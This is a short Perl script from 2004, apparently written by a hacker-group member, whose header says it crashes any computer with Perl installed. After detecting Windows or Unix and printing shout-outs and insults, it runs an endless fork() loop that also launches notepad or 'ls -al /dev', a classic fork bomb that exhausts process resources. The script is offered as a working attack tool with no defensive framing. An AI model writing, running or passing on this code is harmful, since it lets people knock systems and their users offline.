###########################################
## Creator -> K-sPecial [http://xzziroz.freeshell.org]
## Name -> Kf0rkB.pl
## Date -> 9-02-04
## Version -> 1.0(final)
## Usage -> Crash's a computer with perl installed if proccess usage isn't 
jailed.
###########################################

print "\n Greets -> ";
print "\n K-sPecial(myself), idiocy, hitter, setenv, AlienDaemon, Vandle, 
Saevio";
print "\n SiMpRiX, Xenith, idiocy, \'|| N1no BrOwN ||\' and Discipulus";
print "\n\t\t\t http://xzziroz.freeshell.org";
if (-d "C:\\windows\\" || -d "C:\\winnt") { 
	print "\n\r\r\nComputer seems to be a Windows box.\r\n";
}
elsif (-d "/etc") { 
	print "\n\nComputer seems to be a Unix variant.\n";
	$computer = 1
}
else {
	print "Couldn't figure out if computer is a Windows or Unix 
variant.\n";
	print "Please type \"windows\" or \"unix\"\n";
	chomp($input = <STDIN>);
	if ($input =~ m/windows/i) {
		}
	elsif ($input =~ m/unix/i) { 
		$computer =1;
	}
	else {
		print "Sorry I don't have time to code long shit for fucks 
that can't type.\n";
		print "If it's not either, just type one or the other!\n";
		print "Did you think you where paying for this? Bye\n";
		exit(1);
	}
}
sleep(4);
	
print "\n\nCrashing.....";

while (1) {
	fork();
	if ($computer) { 
		system("ls -al /dev");
	}
	else {
		system("notepad");
	}
}

				

